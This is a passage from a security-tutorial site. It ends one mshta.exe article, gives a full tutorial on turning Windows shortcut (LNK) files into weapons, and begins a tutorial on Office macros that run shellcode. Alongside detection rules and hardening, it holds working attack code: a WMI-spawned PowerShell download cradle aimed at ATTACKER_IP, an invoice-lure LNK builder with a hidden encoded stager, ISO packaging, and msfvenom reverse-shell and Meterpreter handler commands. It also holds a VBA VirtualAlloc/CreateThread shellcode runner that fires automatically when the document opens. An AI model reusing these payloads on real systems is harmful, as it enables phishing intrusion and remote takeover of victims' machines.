      shell.Run("cmd.exe /c whoami > C:\\Windows\\Temp\\lab_out.txt", 0, false);
    }
  ]]>
  </script>
</scriptlet>

GetObject("script:http://...") makes Windows fetch and execute the JScript inside that scriptlet. mshta.exe is just the engine; the payload format is portable across other LolBin hosts too.


Flow diagram tracing the fileless mshta attack chain from trigger through inline vbscript moniker to in-memory PowerShell stage and reverse shell callback
No HTA file touches disk – the entire payload rides the command line into mshta.exe memory, with the only artifacts being Event 4688 command-line logs and the outbound network connection.

6. Process-Chain Manipulation via WMI

Naive detection rules look for mshta.exe parent with powershell.exe, cmd.exe, wscript.exe children. Fine catch for lazy operators. Anyone with a WMI primitive shrugs it off.

Replace the oShell.Run in the HTA with a WMI Win32_Process.Create call. The resulting powershell.exe is parented by WmiPrvSE.exe, not by mshta.exe. The parent-child rule misses it cleanly.

' Inside the HTA script block - WMI process spawn
Dim oWMI, oProcess, pid
Set oWMI = GetObject("winmgmts:\\.\root\cimv2")
Set oProcess = oWMI.Get("Win32_Process")
oProcess.Create "powershell.exe -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/stage2.ps1'))", Null, Null, pid
self.close

Run this variant and watch in Sysmon: mshta.exe shows up as Event 1, then WmiPrvSE.exe spawns powershell.exe. The parent-process linkage is broken. This is exactly why the detection strategy in Section 8 leans on the mshta.exe Event 1 plus the WMI activity log (Event 5861), not solely on parent-child rules.


Illustration of a puppet cutting its strings from one controller and reattaching to another, symbolizing WMI process chain manipulation breaking parent-child attribution
WMI Win32_Process.Create re-parents the spawned PowerShell under WmiPrvSE.exe, severing the visible mshta lineage and defeating parent-child detection rules.

7. Obfuscation: chr() Reassembly, Renamed Binaries, Polyglots

Strings like WScript.Shell and powershell in a command line are detection low-hanging fruit. Trivial to obfuscate.

' Reassemble "WScript.Shell" from character codes
Dim s
s = Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & _
    Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
Set o = CreateObject(s)
o.Run "calc.exe", 0, False

Same trick works in JScript with String.fromCharCode. Combine with Base64-encoded PowerShell (-EncodedCommand) and the command line stops matching keyword rules.

Renamed copies are another classic. Copy mshta.exe somewhere user-writable as update.exe:

copy C:\Windows\System32\mshta.exe %TEMP%\update.exe
%TEMP%\update.exe http://ATTACKER_IP:8080/payload.hta

Any Sigma rule keyed purely on Image|endswith: '\mshta.exe' misses this. You need OriginalFileName: 'MSHTA.EXE' in the selection, which reads it from the PE version resource and survives renames.

Polyglots take it further. Because mshta.exe skips data it does not understand, you can append HTA script to the end of a legitimate file (image, PE, RTF) and mshta.exe will dutifully find and run the script. The file passes as the original format to anything that only checks the magic bytes.


8. Detection Engineering

Now turn Sysmon on in the lab, install the SwiftOnSecurity baseline config, replay every variant above, and confirm each rule fires.

# Sysmon install (run as admin)
Sysmon64.exe -accepteula -i sysmonconfig-export.xml

The events that matter for mshta.exe:

Event IDSourceWhat to watch
1Sysmon Process CreateImage ends \mshta.exe or OriginalFileName = MSHTA.EXE; CommandLine contains URLs, vbscript:, javascript:, .sct, about:
3Sysmon Network ConnectAny outbound connection where Image ends \mshta.exe. Treat as high-fidelity.
7Sysmon Image Loadmshta.exe loading clr.dll or PowerShell DLLs is anomalous
11Sysmon File CreateFiles written by mshta.exe in %TEMP%, %APPDATA%, Downloads
4688Security (Audit Process Creation + command-line auditing on)Same surface as Sysmon 1 for environments without Sysmon
4104PowerShell/OperationalScript Block Logging captures the deobfuscated PowerShell spawned by mshta
5861WMI-Activity/OperationalWin32_Process.Create calls used to break process chain

Turn on command-line auditing first. Without it, Event 4688 is useless for this technique.

GPO: Computer Configuration > Administrative Templates > System >
     Audit Process Creation > Include command line in process creation events: Enabled

Sigma rules

Start with two rules that together catch most of what we did above. Tune later.

Rule 1: mshta with network indicators or script monikers. This is the SigmaHQ proc_creation_win_mshta_http-style rule, broadened to cover renamed copies and inline monikers.

title: Suspicious mshta.exe Command Line
id: 6c1b2f1e-lab-0001
status: experimental
description: mshta.exe invoked with a remote URL, inline script moniker, or COM scriptlet.
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    - Image|endswith: '\mshta.exe'
    - OriginalFileName: 'MSHTA.EXE'
  selection_cli:
    CommandLine|contains:
      - 'http://'
      - 'https://'
      - 'ftp://'
      - 'vbscript:'
      - 'javascript:'
      - '.sct'
      - 'about:'
      - 'GetObject('
  condition: selection_img and selection_cli
fields:
  - Image
  - OriginalFileName
  - CommandLine
  - ParentImage
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.005

Rule 2: suspicious child of mshta.exe. Catches the direct mshta -> powershell/cmd/wscript lineage. Will not catch the WMI-broken chain, which is what Rule 3 is for.

title: Suspicious Child Process of mshta.exe
id: 6c1b2f1e-lab-0002
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\mshta.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\regsvr32.exe'
      - '\bitsadmin.exe'
      - '\rundll32.exe'
  condition: selection
level: high
tags:
  - attack.execution
  - attack.t1218.005

Rule 3: mshta making any network connection. Sysmon Event 3 only. In a clean enterprise environment, mshta.exe should almost never talk to the network. Tune by your own baseline.

title: mshta.exe Outbound Network Connection
id: 6c1b2f1e-lab-0003
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    Image|endswith: '\mshta.exe'
  filter_local:
    DestinationIp|startswith:
      - '10.'
      - '192.168.'
      - '172.16.'
  condition: selection and not filter_local
level: high
tags:
  - attack.command_and_control
  - attack.t1218.005

A useful tell from the field: when mshta.exe‘s command line ends with the GUID {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}, it was launched interactively, which means the user double-clicked an HTA file in Explorer. Parent will be explorer.exe. That GUID is a free, very high-fidelity signal that someone just opened an HTA from the desktop or Downloads. Alert on it. Triage every hit.

Suspicious parent processes regardless of command line: winword.exe, excel.exe, outlook.exe, powerpnt.exe, chrome.exe, msedge.exe, firefox.exe. Office spawning mshta.exe is a phishing signature; browsers spawning mshta.exe means a user just clicked an mshta:-handler link or accepted a download prompt.


Hierarchy diagram showing four detection layers under mshta.exe activity: process creation, network connect, WMI activity, and script block logging, each with specific rule targets
Layered detection across four telemetry sources is required because no single event covers renamed binaries, broken process chains, and inline monikers simultaneously.

9. Hardening

Detection is necessary. Removing the attack surface is better. In priority order:

  1. WDAC (Windows Defender Application Control). When any WDAC policy is deployed, even an allow-all policy in audit mode, HTA execution is blocked outright. This is the cleanest mitigation Microsoft offers, full stop.
  2. AppLocker. Add Executable Rules denying %SystemRoot%\System32\mshta.exe and %SystemRoot%\SysWOW64\mshta.exe. Add Script Rules denying *.hta. AppLocker does not catch renamed copies as cleanly as WDAC, but it raises the bar.
  3. Remove the .hta file association. Via GPO, redirect or delete the htafile ProgID so double-clicking an HTA no longer invokes mshta.exe. Phishing payloads that depend on the user double-clicking break instantly.
  4. Egress filtering. Block outbound HTTP/HTTPS from mshta.exe at the proxy. Legitimate mshta.exe use in modern enterprises is almost always local HTAs invoked by an internal line-of-business app. The signature there is consistent path, consistent user, no network.
  5. ASR rules. Block execution of potentially obfuscated scripts (GUID 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC) and Block JavaScript or VBScript from launching downloaded executable content (GUID D3E037E1-3EB8-44C8-A917-57927947596D). Verify GUIDs against current Microsoft Learn before deploying; Microsoft has rotated and renamed ASR rules over time.
  6. PowerShell Script Block Logging (Event 4104). Required to catch deobfuscated stage-two payloads spawned by mshta.
  7. Disable VBScript. On modern Windows builds, VBScript is an on-demand optional feature; remove it where business requirements allow. Microsoft is on a published path to retiring VBScript outright.

10. Tools

ToolUseLink
python3 -m http.serverHost the HTA / SCT for fetchpython.org
netcat / rlwrap ncCatch the reverse shellnmap.org
Metasploit multi/handlerAlternative listener; pairs with msfvenom-generated stagersmetasploit.com
Sysmon + SwiftOnSecurity configProcess, network, and image load telemetrysysinternals.com
Process Hacker / Process MonitorWatch mshta.exe COM loads and child spawns liveprocesshacker.sourceforge.io
WiresharkConfirm outbound from mshta.exe and stage-two beaconswireshark.org
Sigma + sigmacConvert the rules above to your SIEM’s query languagegithub.com/SigmaHQ/sigma
Atomic Red Team T1218.005Pre-built atomics to replay every variantatomicredteam.io

11. ATT&CK Mapping

TechniqueMITRE IDDetection
System Binary Proxy Execution: MshtaT1218.005Sysmon 1 on mshta.exe with suspicious command line; Sysmon 3 outbound
System Binary Proxy ExecutionT1218Parent technique
Command and Scripting Interpreter: Visual BasicT1059.005Script Block Logging, 4104; VBScript engine load
Command and Scripting Interpreter: JavaScriptT1059.007Same surface, JScript engine
Phishing: Spearphishing AttachmentT1566.001Office or mail client parents spawning mshta.exe
Phishing: Spearphishing LinkT1566.002Browser parents spawning mshta.exe with .hta URL
Obfuscated Files or InformationT1027chr()/Base64/concat patterns in command line
Windows Management InstrumentationT1047WMI-Activity Event 5861, Win32_Process.Create from mshta script

Tactics: TA0005 Defense Evasion (primary), TA0002 Execution.


Summary

  • mshta.exe is a Microsoft-signed script host that ignores browser security and ships on every Windows install. Treat any execution of it as an event worth investigating.
  • The attack surface spans on-disk HTA, remote URL fetch, inline vbscript: / javascript: monikers, .sct COM scriptlets via GetObject, ADS, and polyglots; one detection rule will not cover it.
  • WMI Win32_Process.Create from inside the HTA breaks the mshta -> powershell parent-child chain. Detect with WMI-Activity Event 5861, not parent linkage alone.
  • Build layered Sigma coverage: command-line indicators, suspicious child processes, and any outbound network connection from mshta.exe. Alert on the interactive-launch GUID {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}.
  • The cleanest mitigation is WDAC, which blocks all HTA execution even in audit mode. AppLocker rules, removing the .hta association, and ASR rules round out the hardening.

Related Tutorials

LNK File Weaponization for Initial Access

A .zip lands in someone’s inbox. They open it, see Invoice_April_2026.pdf with a tidy little PDF icon, double-click, see nothing happen, shrug, and go back to work. Meanwhile, your listener has caught a shell. The whole kill chain ran inside a 2 KB binary that Windows has been parsing more or less identically since NT 4.

LNKs are the new macros. As Microsoft choked Office macros – Mark of the Web propagation, Block Macros from the Internet, the protected-view changes – the ecosystem reached for the next path of least resistance, and the humble Shell Link won by a wide margin. They render as a familiar icon. They never display their .lnk extension. They’re trusted shell objects, not “executables.” One double-click is enough.

This post takes a benign LNK apart byte by byte, rebuilds it as a weapon in a lab, delivers it inside an ISO, catches a shell, and then flips to the defender’s chair to detect every step. Everything below runs against a self-made VM – no live targets.

What Is a Shell Link? – The MS-SHLLINK Binary Format

Every .lnk file is described by Microsoft’s open specification [MS-SHLLINK]. The file is a sequence of one mandatory structure followed by several optional ones, and a bitmask in the header tells the parser which optional sections are present.

The mandatory first structure is the ShellLinkHeader. The exact fields that matter to us (MS-SHLLINK §2.1):

  • HeaderSize (4 bytes): fixed value 0x0000004C – a reliable forensic magic number for identifying LNKs.
  • LinkCLSID (16 bytes): must equal 00021401-0000-0000-C000-000000000046 – the class ID that marks the file as a shell link.
  • LinkFlags (4 bytes): bitmask declaring which optional structures follow and other behavioral flags.
  • FileAttributes (4 bytes): a FileAttributesFlags structure describing the link target.
  • CreationTime (8 bytes): a FILETIME (UTC) – creation time of the link target.
  • ShowCommand (4 bytes): the window state used when launching the target.

The optional sections that follow the header include:

  • LinkTargetIDList – specifies the link target as an item ID list, present when the HasLinkTargetIDList bit is set in LinkFlags.
  • LinkInfo – target resolution information, present when HasLinkInfo is set.
  • StringData – UI and path strings, controlled by additional LinkFlags bits.
  • ExtraData – a series of optional metadata blocks.

LinkFlags bits of offensive relevance (MS-SHLLINK §2.1.1, cross-checked against the Kaitai Struct spec):

  • HasLinkTargetIDList – IDList present after the header.
  • HasArguments – command-line arguments present in StringData.
  • HasIconLocation – icon path present; abused in LNK Icon Smuggling (T1027.012).
  • IsUnicode – string data stored as Unicode rather than ANSI.

The ShowCommand field in the header is set to SW_SHOWMINNOACTIVE (decimal 7) or SW_HIDE (0) to suppress or minimize the visible window when the target executes – exactly what you want when launching a hidden PowerShell.

The StringData section is where weaponization concentrates. It holds, as counted strings, NAME_STRING, RELATIVE_PATH, WORKING_DIR, COMMAND_LINE_ARGUMENTS, and ICON_LOCATION. Operators set COMMAND_LINE_ARGUMENTS to a long, obfuscated PowerShell one-liner.

ExtraData blocks of defensive note:

  • EnvironmentVariableDataBlock – resolves environment variables at runtime; used to reach %COMSPEC% or %windir%\system32\windowspowershell\v1.0\powershell.exe.
  • TrackerDataBlock – leaks the machine name and volume GUID of the system that created the LNK (the MachineID field). This is a prime CTI artifact for attributing or clustering campaigns.
  • IconEnvironmentDataBlock – specifies the path to an icon file; adversaries abuse this metadata so that resolving the icon reaches out to an attacker-controlled UNC path to coerce authentication or stage a payload.

Dump a real shortcut to see this concretely. On Windows, Eric Zimmerman’s LECmd.exe parses every structure:

LECmd.exe -f "C:\Users\victim\Desktop\Notepad.lnk" --csv .

On Linux, lnk-parse / pylnk does the same:

pip install lnkfile
python -c "import lnk; l=lnk.open('Notepad.lnk'); print(l.header); print(l.string_data)"

How the shell actually executes it

When a user double-clicks the icon, explorer.exe calls ShellExecuteEx(), resolves the LinkTargetIDList, and ultimately issues a CreateProcess() on the TargetPath with the stored Arguments. Programmatically, both defenders and red teamers create shortcuts through the WScript.Shell.CreateShortcut() COM object.

Diagram showing the sequential binary layout of an MS-SHLLINK file: ShellLinkHeader followed by LinkTargetIDList, LinkInfo, StringData, and ExtraData blocks
The MS-SHLLINK format is a fixed header followed by optional sections gated by LinkFlags bitmasks; weaponization concentrates in StringData and ExtraData.

Building a Weaponized LNK From Scratch

The fastest path is the same COM object the OS ships for legitimate use.

# Method A: WScript.Shell COM object
$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("$env:TEMP\Invoice_April_2026.pdf.lnk")
$lnk.TargetPath   = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
# Argument: download and execute the stager, hide window
$lnk.Arguments    = "-WindowStyle Hidden -NoProfile -NonInteractive -EncodedCommand " +
                    [Convert]::ToBase64String(
                      [Text.Encoding]::Unicode.GetBytes(
                        'IEX(New-Object Net.WebClient).DownloadString("http://<attacker_IP>:8080/stage.ps1")'
                      )
                    )
$lnk.WorkingDirectory = "C:\Windows\System32"
$lnk.IconLocation = "C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE,13"  # PDF-style icon
$lnk.WindowStyle  = 7   # SW_SHOWMINNOACTIVE — minimized, no focus
$lnk.Save()

Argument padding. Insert roughly 260 spaces before the real payload in the Arguments field. The LNK Properties dialog truncates the visible string, so a curious user inspecting the shortcut sees a blank or harmless-looking target line while the encoded command sits past the cutoff. The full string still passes to CreateProcess().

For full control over every structure – to confirm the WindowStyle = 7, the encoded args, and the icon block landed correctly – verify with a parser after creation:

# Method B: verify the crafted struct fields
LECmd.exe -f "$env:TEMP\Invoice_April_2026.pdf.lnk" --csv .
Flow diagram showing the LNK weaponization execution chain from user double-click through explorer.exe and powershell.exe to a reverse shell callback
A single double-click traverses explorer.exe → powershell.exe → download cradle → attacker listener, with all suspicious activity hidden behind a signed Windows binary.

Delivery Containers: ISO + LNK and ZIP + LNK

Mark of the Web (MotW) is stored in the NTFS Alternate Data Stream Zone.Identifier. When a file is downloaded from the internet, the OS writes a ZoneId=3 value into that stream, and SmartScreen/Defender treat the file with suspicion.

The container trick exploited a gap: ISO and VHD images mounted by explorer.exe historically did not propagate MotW to the files inside them, so an LNK extracted from a mounted ISO would execute without a SmartScreen prompt. Microsoft patched this in October 2022 (CVE-2022-41091, KB5017308), after which MotW propagates into mounted container contents on patched builds. ZIP handling was tightened similarly. Always validate the actual behavior on your specific OS build – this is a moving target.

Build the container in the lab:

# Linux: ISO containing only the LNK
mkdir iso_stage
cp Invoice_April_2026.pdf.lnk iso_stage/
mkisofs -o phish_delivery.iso iso_stage/
# Or on Windows with oscdimg (Windows ADK):
# oscdimg -n -m iso_stage\ phish_delivery.iso

Target masquerading

Even with “Hide extensions for known file types” disabled, shortcut files never display the .lnk extension. So Invoice_April_2026.pdf.lnk shows up as Invoice_April_2026.pdf, and with a spoofed PDF/Word icon it is visually indistinguishable from the real document. The operator points TargetPath at a signed Windows binary while keeping a legitimate icon and a believable display name.

Command Execution Chains

The TargetPath always points at a Microsoft-signed binary – the LNK itself never carries code, only a reference and arguments. Common living-off-the-land binaries used as TargetPath:

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-WindowStyle Hidden -EncodedCommand <b64>
  • C:\Windows\System32\cmd.exe/c chain
  • C:\Windows\System32\mshta.exe – executes a remote HTA
  • C:\Windows\System32\wscript.exe / cscript.exe – runs a dropped VBS/JS
  • C:\Windows\System32\certutil.exe-urlcache -f download cradle
  • C:\Windows\System32\regsvr32.exe/s /n /u /i:<URL> scrobj.dll (Squiblydoo)

LNK Icon Smuggling (T1027.012)

Set the IconEnvironmentDataBlock (or the icon location string) to a UNC path such as \\attacker.server\share\icon.ico. When Explorer renders the shortcut’s icon – which can happen on mere folder browsing, before any double-click – it reaches out over SMB to that path, leaking an NTLM authentication attempt to the attacker-controlled host. That same channel can stage a payload. This is why disabling LNK preview and blocking outbound SMB matter.

Lab Exercise – End-to-End Attack

Lab target: Windows 10 22H2 VM, Defender disabled (or a path exclusion) for the lab folder, no EDR.
Attacker: Kali / any Python3 host with netcat or Metasploit.
Scenario: the victim receives a simulated phishing email with a ZIP holding one file, Invoice_April_2026.pdf.lnk, PDF icon spoofed.

Step 1 – Lure design

Finance context → a PDF invoice lure. No recon against live systems; the persona lives entirely in the VM.

Step 2 – Generate the reverse shell payload

# Attacker (Kali)
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<attacker_IP> LPORT=4444 \
  -f exe -o /tmp/shell.exe
python3 -m http.server 8080

Step 3 – Craft the LNK

Use the Method A script above, then verify the binary fields with LECmd.exe.

Step 4 – Package in an ISO

Use the mkisofs / oscdimg commands above to produce phish_delivery.iso.

Step 5 – Delivery simulation

Copy phish_delivery.iso to the victim VM. The user double-clicks it; Windows mounts it as a drive letter; the user sees Invoice_April_2026.pdf with a Word/PDF icon and double-clicks.

Step 6 – Listener and code execution

# Attacker: catch the shell
nc -lvnp 4444
# Or Metasploit:
# use exploit/multi/handler
# set payload windows/x64/shell_reverse_tcp
# set LHOST <attacker_IP>; set LPORT 4444; run

The shell arrives in the victim user’s context (DESKTOP-XXXXX\victim).

Step 7 – Fully fileless variant

Embed a base64-encoded payload directly in the Arguments field and decode/execute it in memory with a PowerShell one-liner – no dropped EXE. Run this variant specifically so you can compare its telemetry against the staged variant in the next section.

Step 8 – Detect immediately after each step

After each step, switch to the defender VM and read the Sysmon log.

Forensic Artifacts: What You Leave Behind

  • TrackerDataBlockMachineID exposes the LNK author’s machine name and volume GUID.
  • Zone.Identifier ADS – MotW on the container/LNK (ZoneId=3).
  • Recent Items – %APPDATA%\Microsoft\Windows\Recent and the jump-list store at %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations.
  • Shellbags, prefetch (powershell.exe, mshta.exe), and the LNK’s own embedded metadata.

Detection Engineering

Sysmon Event IDs

Event IDNameLNK relevance
1Process CreateFull command line for process and parent. Alert on powershell.exe / cmd.exe / mshta.exe spawned from explorer.exe with encoded args. Key fields: Image, CommandLine, ParentImage, ParentCommandLine.
11File CreateCatches LNKs written to disk before the double-click. Filter on TargetFilename ending in .lnk. An early-warning tripwire for userland writes.
15FileCreateStreamHashRecords named ADS, including Zone.Identifier. Catch ISO/LNK written with ZoneId=3.
3Network ConnectionOutbound connections from the chain – PowerShell cradle or SMB coercion from IconEnvironmentDataBlock. Key fields: Image, DestinationIp, DestinationPort.
22DNS QueryDNS resolution triggered by the execution chain.

ETW providers

  • Microsoft-Windows-PowerShell (GUID A0C1853B-5C40-4B15-8766-3CF1C58F985A) – script block logging, catches encoded commands post-decode.
  • AMSI (Microsoft-Antimalware-Scan-Interface) – inline script content.
  • Microsoft-Windows-Shell-Core – shell link resolution events.

Windows audit policy

  • Audit Process Creation (Success) → Security 4688 with command-line logging enabled via GPO: Administrative Templates > System > Audit Process Creation > Include command line in process creation events.
  • Audit Object Access on %APPDATA%\Microsoft\Windows\Recent\ to flag new LNK writes.

Sigma rules

Rule 1 – LNK spawning encoded PowerShell:

title: LNK File Spawning Encoded PowerShell
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\explorer.exe'
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-EncodedCommand'
      - '-enc '
      - '-e '
  condition: selection
falsepositives:
  - Legitimate admin scripts launched via desktop shortcuts
level: high
tags:
  - attack.initial_access
  - attack.t1566.001
  - attack.execution
  - attack.t1204.002
  - attack.defense_evasion
  - attack.t1027.012

Rule 2 – LNK written to a suspicious path:

title: LNK File Written to User Temp or Download Path
status: experimental
logsource:
  product: windows
  category: file_event   # Sysmon EID 11
detection:
  selection:
    TargetFilename|endswith: '.lnk'
    TargetFilename|contains:
      - '\AppData\Local\Temp\'
      - '\Downloads\'
      - '\Desktop\'
  filter_legit:
    Image|endswith:
      - '\explorer.exe'
      - '\setup.exe'
  condition: selection and not filter_legit
level: medium
tags:
  - attack.t1547.009
  - attack.t1566.001

Hardening

  1. ASR rules: Block all Office applications from creating child processes (D4F940AB-401B-4EFC-AADC-AD5F3C50688A) and Block execution of potentially obfuscated scripts (5BEB7EFE-FD9A-4556-801D-275E5FFC04CC).
  2. Disable LNK preview to stop thumbnail-driven icon resolution (mitigates IconEnvironmentDataBlock UNC coercion).
  3. Block outbound SMB (TCP 445) at the perimeter to prevent NTLM capture via UNC icon paths.
  4. Email gateway: block .lnk directly and inside .zip, .iso, .img, .vhd.
  5. PowerShell Constrained Language Mode + Script Block Logging.
  6. MotW enforcement: ensure KB5017308 and successors are applied; validate ISO/VHD propagation on your build.
  7. Behavioral detection of LNK execution is notoriously noisy – catching LNKs as they’re written to disk and acting before the double-click is the strongest posture.
Hierarchy diagram of the LNK detection stack showing Sysmon event IDs 1, 11, and 15, ETW script block logging, and Windows Security event 4688 as detection layers
Effective LNK detection stacks Sysmon process and file-creation events with ETW script-block logging and audit policy to catch the attack at write time, execution time, and network callback.

MITRE ATT&CK Mapping

ATT&CK IDNameTacticRole
T1566.001Spearphishing AttachmentInitial Access (TA0001)The LNK is the attachment.
T1204.002User Execution: Malicious FileExecution (TA0002)The double-click triggers the chain.
T1059.001PowerShellExecution (TA0002)TargetPathpowershell.exe with encoded args.
T1027.012LNK Icon SmugglingDefense Evasion (TA0005)IconEnvironmentDataBlock / icon path abuse.
T1547.009Shortcut ModificationPersistence (TA0003)Startup-folder LNKs – covered in hardening.
T1218System Binary Proxy ExecutionDefense Evasion (TA0005)mshta.exe, regsvr32.exe, certutil.exe as TargetPath.
T1071.001Web ProtocolsC2 (TA0011)Download cradle reaching the attacker’s HTTP server.

Recap

The LNK is a tiny reference object, not an executable – and that is exactly why it works. We took apart the ShellLinkHeader and the StringData/ExtraData structures from [MS-SHLLINK], crafted a PDF-masquerading shortcut with a hidden PowerShell TargetPath, packaged it in an ISO, caught a shell, and then detected each step with Sysmon EID 1/11/15/3, ETW script-block logging, and two Sigma rules. Defenders: prioritize detecting LNK writes to disk, kill the SMB icon-coercion path, and keep your MotW patches current. The format hasn’t changed since NT 4 – your detection of it should be the part that evolves.


Related Tutorials

References

Malicious Office Macros: VBA Basics to Shellcode Execution

You’ve got a .docm on a target’s desktop and they just clicked “Enable Content.” What actually happens between that click and your Meterpreter session? Most write-ups either stay at the Shell("cmd.exe") toy level or dump a finished payload with no explanation. This walkthrough bridges the gap – from the OLE internals of a macro-laced document through the VirtualAllocRtlMoveMemoryCreateThread shellcode runner, AMSI bypass, callback-based execution, and VBA stomping, all built step-by-step against a self-made lab document. Every offensive step gets its detection pair.


Free tool: generate the cyclic pattern and find the exact EIP/RIP offset with our Buffer Overflow Pattern Generator & Offset Finder – runs entirely in your browser.
Free tool: use the Shellcode Formatter to convert your shellcode to any format with live bad-byte highlighting.

1. What Lives Inside a Macro-Enabled Document

A .docm or .xlsm file is an OLE Compound Document – essentially a filesystem-within-a-file. The VBA project lives in the VBA/ storage, and three streams matter:

StreamPurpose
dirProject metadata – module names, references, GUIDs
VBA/Module streamsRLE-compressed VBA source code per module
_VBA_PROJECTCompiled p-code – version-stamped to the Office build that saved it

Here’s the part that tripped me up the first time I looked at VBA stomping: Office doesn’t always run the source code. If the _VBA_PROJECT version stamp matches the running Office version, the compiled p-code executes directly and the source is never decompressed. This is the entire basis of VBA stomping (Section 8).

Inspect any document’s macro streams with olevba:

pip install oletools
olevba lab_macro.docm

olevba decompresses and displays VBA source, flags suspicious keywords (CreateThread, VirtualAlloc, Shell), and warns on p-code/source mismatches.


2. Auto-Execution Triggers

VBA macros don’t require user interaction beyond the “Enable Content” click. The VBA runtime invokes specific subroutine names automatically:

Auto-triggerHost AppFires When
Document_OpenWord (.docm)Document opens
AutoOpenWord (legacy .doc)Document opens
Workbook_OpenExcel (.xlsm)Workbook opens
Auto_OpenExcel (legacy .xls)Workbook opens
Document_CloseWordDocument closes
Frame1_LayoutWord/Excel (ActiveX)ActiveX frame renders – evades trigger-name scanning

Always implement both Document_Open and AutoOpen – the first is the modern event; the second covers legacy compatibility. Detection that only looks for one misses the other.


3. Calling Win32 APIs from VBA

The Declare keyword imports DLL exports into VBA. On 64-bit Office (VBA7), the PtrSafe keyword is mandatory and pointer-width arguments use LongPtr instead of Long.

The classic shellcode runner needs exactly three functions from kernel32.dll:

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
    (ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
     ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
    (ByVal lDest As LongPtr, ByRef sSource As Any, _
     ByVal lLen As Long) As LongPtr

Private Declare PtrSafe Function CreateThread Lib "kernel32" _
    (ByVal lpSecAttr As Long, ByVal dwStackSize As Long, _
     ByVal lpStartAddr As LongPtr, lpParam As LongPtr, _
     ByVal dwFlags As Long, ByRef lpThreadId As Long) As LongPtr

VirtualAlloc allocates a memory region. RtlMoveMemory copies shellcode bytes into it. CreateThread starts execution at that address. The key constants: 0x3000 (MEM_COMMIT | MEM_RESERVE) and 0x40 (PAGE_EXECUTE_READWRITE). That RWX allocation is the loudest signal a defender can hunt – more on that in Section 9.

The Alias keyword lets you rename an import. This matters for evasion – RtlMoveMemory is a flagged string in AMSI and most static signatures:

Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" _
    (ByVal dest As LongPtr, ByRef src As Any, ByVal length As Long)

Same function, different name in the source. Simple, and still effective against lazy pattern matching.


4. Lab Setup

You need two machines on an isolated host-only network:

RoleOS / Software
VictimWindows 10/11 VM, Office 2019 or 365 (64-bit), Defender disabled for initial testing
AttackerKali Linux, msfvenom, msfconsole, oletools installed

On the victim VM, ensure the Developer tab is enabled in Word (File → Options → Customize Ribbon → check Developer). Disable Protected View for this lab under Trust Center settings – in production, this is exactly what an attacker hopes an admin misconfigured.

Generate Shellcode

Start with a benign calc.exe payload to prove execution, then graduate to a Meterpreter reverse shell:

# Benign proof-of-concept (64-bit)
msfvenom -p windows/x64/exec CMD=calc.exe -f vbapplication

# Meterpreter reverse HTTPS (64-bit)
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.56.10 LPORT=443 \
  EXITFUNC=thread -f vbapplication -o shellcode.vba

The -f vbapplication flag outputs a VBA-ready Array(...) – paste it directly into the macro. Set EXITFUNC=thread so the thread exits cleanly when Word closes rather than crashing the host process.


5. Building the Three-API Shellcode Runner

Open Word → Developer → Visual Basic. Double-click ThisDocument and paste:

#If VBA7 Then
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
    (ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
     ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
    (ByVal lDest As LongPtr, ByRef sSource As Any, _
     ByVal lLen As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" _
    (ByVal lpSecAttr As Long, ByVal dwStackSize As Long, _
     ByVal lpStartAddr As LongPtr, lpParam As LongPtr, _
     ByVal dwFlags As Long, ByRef lpThreadId As Long) As LongPtr
#End If

Sub Document_Open()
    RunShell
End Sub

Sub AutoOpen()
    RunShell
End Sub

Sub RunShell()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long

    ' --- PASTE msfvenom -f vbapplication output below ---
    buf = Array(72, 131, 228, 240, 232, ...)
    ' --- END shellcode ---

    addr = VirtualAlloc(0, UBound(buf) + 1, &H3000, &H40)

    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        RtlMoveMemory addr + counter, data, 1
    Next counter

    CreateThread 0, 0, addr, 0, 0, 0
End Sub

Save as lab_macro.docm. Close and reopen – click “Enable Content.” With the calc.exe payload, Calculator pops. With Meterpreter, set up your handler first:

msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_https; \
  set LHOST 192.168.56.10; set LPORT 443; \
  set ExitOnSession false; run -j"

Open the document. Session lands. That’s your baseline – everything from here is refinement and evasion.


Flowchart showing the five-step VBA shellcode execution chain from Enable Content click through VirtualAlloc, RtlMoveMemory, and [CreateThread](https://genxcyber.com/threads-and-the-teb-thread-environment-block/) to a Meterpreter session
The classic three-API pattern: every VBA shellcode runner follows this exact sequence from macro trigger to remote shell.

6. AMSI Bypass

